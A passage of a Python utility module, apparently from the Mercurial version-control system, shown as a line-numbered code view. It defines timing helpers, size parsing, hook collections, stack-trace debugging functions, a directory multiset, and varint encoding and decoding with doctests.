3352 3352 """A context manager that produces timing information for a given context.
3353 3353
3354 3354 On entering a timedcmstats instance is produced.
3355 3355
3356 3356 This context manager is reentrant.
3357 3357
3358 3358 """
3359 3359 # track nested context managers
3360 3360 timedcm._nested += 1
3361 3361 timing_stats = timedcmstats(level=timedcm._nested)
3362 3362 try:
3363 3363 with tracing.log(whencefmt, *whenceargs):
3364 3364 yield timing_stats
3365 3365 finally:
3366 3366 timing_stats.elapsed = timer() - timing_stats.start
3367 3367 timedcm._nested -= 1
3368 3368
3369 3369
3370 3370 timedcm._nested = 0
3371 3371
3372 3372
3373 3373 def timed(func):
3374 3374 '''Report the execution time of a function call to stderr.
3375 3375
3376 3376 During development, use as a decorator when you need to measure
3377 3377 the cost of a function, e.g. as follows:
3378 3378
3379 3379 @util.timed
3380 3380 def foo(a, b, c):
3381 3381 pass
3382 3382 '''
3383 3383
3384 3384 def wrapper(*args, **kwargs):
3385 3385 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3386 3386 result = func(*args, **kwargs)
3387 3387 stderr = procutil.stderr
3388 3388 stderr.write(
3389 3389 b'%s%s: %s\n'
3390 3390 % (
3391 3391 b' ' * time_stats.level * 2,
3392 3392 pycompat.bytestr(func.__name__),
3393 3393 time_stats,
3394 3394 )
3395 3395 )
3396 3396 return result
3397 3397
3398 3398 return wrapper
3399 3399
3400 3400
3401 3401 _sizeunits = (
3402 3402 (b'm', 2 ** 20),
3403 3403 (b'k', 2 ** 10),
3404 3404 (b'g', 2 ** 30),
3405 3405 (b'kb', 2 ** 10),
3406 3406 (b'mb', 2 ** 20),
3407 3407 (b'gb', 2 ** 30),
3408 3408 (b'b', 1),
3409 3409 )
3410 3410
3411 3411
3412 3412 def sizetoint(s):
3413 3413 '''Convert a space specifier to a byte count.
3414 3414
3415 3415 >>> sizetoint(b'30')
3416 3416 30
3417 3417 >>> sizetoint(b'2.2kb')
3418 3418 2252
3419 3419 >>> sizetoint(b'6M')
3420 3420 6291456
3421 3421 '''
3422 3422 t = s.strip().lower()
3423 3423 try:
3424 3424 for k, u in _sizeunits:
3425 3425 if t.endswith(k):
3426 3426 return int(float(t[: -len(k)]) * u)
3427 3427 return int(t)
3428 3428 except ValueError:
3429 3429 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3430 3430
3431 3431
3432 3432 class hooks(object):
3433 3433 '''A collection of hook functions that can be used to extend a
3434 3434 function's behavior. Hooks are called in lexicographic order,
3435 3435 based on the names of their sources.'''
3436 3436
3437 3437 def __init__(self):
3438 3438 self._hooks = []
3439 3439
3440 3440 def add(self, source, hook):
3441 3441 self._hooks.append((source, hook))
3442 3442
3443 3443 def __call__(self, *args):
3444 3444 self._hooks.sort(key=lambda x: x[0])
3445 3445 results = []
3446 3446 for source, hook in self._hooks:
3447 3447 results.append(hook(*args))
3448 3448 return results
3449 3449
3450 3450
3451 3451 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3452 3452 '''Yields lines for a nicely formatted stacktrace.
3453 3453 Skips the 'skip' last entries, then return the last 'depth' entries.
3454 3454 Each file+linenumber is formatted according to fileline.
3455 3455 Each line is formatted according to line.
3456 3456 If line is None, it yields:
3457 3457 length of longest filepath+line number,
3458 3458 filepath+linenumber,
3459 3459 function
3460 3460
3461 3461 Not be used in production code but very convenient while developing.
3462 3462 '''
3463 3463 entries = [
3464 3464 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3465 3465 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3466 3466 ][-depth:]
3467 3467 if entries:
3468 3468 fnmax = max(len(entry[0]) for entry in entries)
3469 3469 for fnln, func in entries:
3470 3470 if line is None:
3471 3471 yield (fnmax, fnln, func)
3472 3472 else:
3473 3473 yield line % (fnmax, fnln, func)
3474 3474
3475 3475
3476 3476 def debugstacktrace(
3477 3477 msg=b'stacktrace',
3478 3478 skip=0,
3479 3479 f=procutil.stderr,
3480 3480 otherf=procutil.stdout,
3481 3481 depth=0,
3482 3482 ):
3483 3483 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3484 3484 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3485 3485 By default it will flush stdout first.
3486 3486 It can be used everywhere and intentionally does not require an ui object.
3487 3487 Not be used in production code but very convenient while developing.
3488 3488 '''
3489 3489 if otherf:
3490 3490 otherf.flush()
3491 3491 f.write(b'%s at:\n' % msg.rstrip())
3492 3492 for line in getstackframes(skip + 1, depth=depth):
3493 3493 f.write(line)
3494 3494 f.flush()
3495 3495
3496 3496
3497 3497 class dirs(object):
3498 3498 '''a multiset of directory names from a dirstate or manifest'''
3499 3499
3500 3500 def __init__(self, map, skip=None):
3501 3501 self._dirs = {}
3502 3502 addpath = self.addpath
3503 3503 if isinstance(map, dict) and skip is not None:
3504 3504 for f, s in pycompat.iteritems(map):
3505 3505 if s[0] != skip:
3506 3506 addpath(f)
3507 3507 elif skip is not None:
3508 3508 raise error.ProgrammingError(
3509 3509 b"skip character is only supported with a dict source"
3510 3510 )
3511 3511 else:
3512 3512 for f in map:
3513 3513 addpath(f)
3514 3514
3515 3515 def addpath(self, path):
3516 3516 dirs = self._dirs
3517 3517 for base in finddirs(path):
3518 3518 if base in dirs:
3519 3519 dirs[base] += 1
3520 3520 return
3521 3521 dirs[base] = 1
3522 3522
3523 3523 def delpath(self, path):
3524 3524 dirs = self._dirs
3525 3525 for base in finddirs(path):
3526 3526 if dirs[base] > 1:
3527 3527 dirs[base] -= 1
3528 3528 return
3529 3529 del dirs[base]
3530 3530
3531 3531 def __iter__(self):
3532 3532 return iter(self._dirs)
3533 3533
3534 3534 def __contains__(self, d):
3535 3535 return d in self._dirs
3536 3536
3537 3537
3538 3538 if safehasattr(parsers, 'dirs'):
3539 3539 dirs = parsers.dirs
3540 3540
3541 3541 if rustdirs is not None:
3542 3542 dirs = rustdirs
3543 3543
3544 3544
3545 3545 def finddirs(path):
3546 3546 pos = path.rfind(b'/')
3547 3547 while pos != -1:
3548 3548 yield path[:pos]
3549 3549 pos = path.rfind(b'/', 0, pos)
3550 3550 yield b''
3551 3551
3552 3552
3553 3553 # convenient shortcut
3554 3554 dst = debugstacktrace
3555 3555
3556 3556
3557 3557 def safename(f, tag, ctx, others=None):
3558 3558 """
3559 3559 Generate a name that it is safe to rename f to in the given context.
3560 3560
3561 3561 f: filename to rename
3562 3562 tag: a string tag that will be included in the new name
3563 3563 ctx: a context, in which the new name must not exist
3564 3564 others: a set of other filenames that the new name must not be in
3565 3565
3566 3566 Returns a file name of the form oldname~tag[~number] which does not exist
3567 3567 in the provided context and is not in the set of other names.
3568 3568 """
3569 3569 if others is None:
3570 3570 others = set()
3571 3571
3572 3572 fn = b'%s~%s' % (f, tag)
3573 3573 if fn not in ctx and fn not in others:
3574 3574 return fn
3575 3575 for n in itertools.count(1):
3576 3576 fn = b'%s~%s~%s' % (f, tag, n)
3577 3577 if fn not in ctx and fn not in others:
3578 3578 return fn
3579 3579
3580 3580
3581 3581 def readexactly(stream, n):
3582 3582 '''read n bytes from stream.read and abort if less was available'''
3583 3583 s = stream.read(n)
3584 3584 if len(s) < n:
3585 3585 raise error.Abort(
3586 3586 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3587 3587 % (len(s), n)
3588 3588 )
3589 3589 return s
3590 3590
3591 3591
3592 3592 def uvarintencode(value):
3593 3593 """Encode an unsigned integer value to a varint.
3594 3594
3595 3595 A varint is a variable length integer of 1 or more bytes. Each byte
3596 3596 except the last has the most significant bit set. The lower 7 bits of
3597 3597 each byte store the 2's complement representation, least significant group
3598 3598 first.
3599 3599
3600 3600 >>> uvarintencode(0)
3601 3601 '\\x00'
3602 3602 >>> uvarintencode(1)
3603 3603 '\\x01'
3604 3604 >>> uvarintencode(127)
3605 3605 '\\x7f'
3606 3606 >>> uvarintencode(1337)
3607 3607 '\\xb9\\n'
3608 3608 >>> uvarintencode(65536)
3609 3609 '\\x80\\x80\\x04'
3610 3610 >>> uvarintencode(-1)
3611 3611 Traceback (most recent call last):
3612 3612 ...
3613 3613 ProgrammingError: negative value for uvarint: -1
3614 3614 """
3615 3615 if value < 0:
3616 3616 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3617 3617 bits = value & 0x7F
3618 3618 value >>= 7
3619 3619 bytes = []
3620 3620 while value:
3621 3621 bytes.append(pycompat.bytechr(0x80 | bits))
3622 3622 bits = value & 0x7F
3623 3623 value >>= 7
3624 3624 bytes.append(pycompat.bytechr(bits))
3625 3625
3626 3626 return b''.join(bytes)
3627 3627
3628 3628
3629 3629 def uvarintdecodestream(fh):
3630 3630 """Decode an unsigned variable length integer from a stream.
3631 3631
3632 3632 The passed argument is anything that has a ``.read(N)`` method.
3633 3633
3634 3634 >>> try:
3635 3635 ... from StringIO import StringIO as BytesIO
3636 3636 ... except ImportError:
3637 3637 ... from io import BytesIO
3638 3638 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3639 3639 0
3640 3640 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3641 3641 1
3642 3642 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3643 3643 127
3644 3644 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3645 3645 1337
3646 3646 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3647 3647 65536
3648 3648 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3649 3649 Traceback (most recent call last):
3650 3650 ...
3651 3651 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3652 3652 """
3653 3653 result = 0
3654 3654 shift = 0
3655 3655 while True:
3656 3656 byte = ord(readexactly(fh, 1))
3657 3657 result |= (byte & 0x7F) << shift
3658 3658 if not (byte & 0x80):
3659 3659 return result
3660 3660 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now